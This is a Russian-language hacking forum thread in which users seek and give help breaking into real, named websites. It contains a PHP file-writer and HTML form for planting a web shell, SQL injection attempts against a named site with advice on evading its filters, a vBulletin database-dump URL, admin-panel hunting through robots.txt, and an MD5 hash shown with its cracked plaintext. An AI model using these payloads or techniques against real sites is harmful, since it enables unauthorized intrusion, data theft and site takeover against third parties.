Ваши вопросы по уязвимостям.

Видели когда нибудь такие ссылки:
http://wallenberg.ru/component/option,com_contact/task,view/contact_id,1/Itemid,94/

??? Если изменяю, id на -999 допустим, открывается стандартная какая то страница. Почему?

 

модреврайт

>> Почему?
Мб потому что значение которое ты указываешь не существует?

 

в чем проблема заюзать другую качалку вроде lynx

 

Nightmarе, а что тебе мешает выполнить команду:

Пробуй писать полные пути...

 

groundhog, по сути у него это и есть)

Nightmarе, можно создать файл, как сказал groundhog, только его содержимое будет примерно таким:

PHP:

<?php file_put_contents('путь до файла', $_POST['file']); ?>


Далее, создаешь на локале файл:

HTML:

<form action='http://site.com/путь_до_получившегося_файла' method='post'>
<textarea name='file'></textarea>
<input type='submit'/>
</form>

Кидаешь в текстарею код шелла, жмешь баттон, и получаешь веб-шел)

 

Комрады подскажите!!!
Нужно похекать сайт на vBulletin 3.5.4
На одном из форумов видел SQL INJ - из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'.
Таким образом можно сделать дамп базы данных.
Как должен будет выглядеть запрос?
Мне для начала нужно заняться подборкой полей?
Просто Инъекциями я начал заниматься недавно, в голове полная каша...
помогите разобраться...

 

ага, только перед этим еще убедится, что по данному урлу именно sql-inj, а не просто раскрытие пути и т.п.

 

/install/upgrade_301.php?step=backup

И вообще... Тебе сюда:

http://forum.antichat.ru/thread22852.html

 

Если ты имел в виду это Easy way to 0wn nulled vBulletin installations, то речь идет не о SQL-инъекции, так как получить дамп позволяет отсутствие проверки лицензионого ключа на нуленных версиях vbulletin

 

помогите найти админку)
случайно наткнулся,основной сайт вроде с фильтрацией а подраздел полностью дырявый
http://www.7info.ru/schools

 

http://www.7info.ru/robots.txt

Disallow: /sitadm/

 

ElteRUS,у этого раздела schools своя админка вроде

 

Forbidden

You don't have permission to access /sitadm/ on this server.

Это значит я не имею права к просмотру данной папки?

 

А просто на главной не пробовал ввести?

 

e5c360d1629a5a05bd77f0f45c24fa9e
Это md5?

 

да

e5c360d1629a5a05bd77f0f45c24fa9e;rerkjdjl

hashcracking.info

 

http://ilibrary.ru/text/1320/p.1' - уязвимость есть, делаю
http://ilibrary.ru/text/1320/p.1+order+by+1+-- - пишет ошибку =(
Подскажите)

 

http://ilibrary.ru/text/1+)and+substring(version(),1,1)=5;%20--%20((
подскажите)

 

1. Там другой комментарий, а именно /*
2. Там фильтруется "+"

 

И еще "=" заменяется на "."

Но можно раскрыть путь:

http://ilibrary.ru/text/1%22

и еще там addslashes (http://ru.php.net/addslashes)

http://ilibrary.ru/text/1'

так что скорее всего только путь пока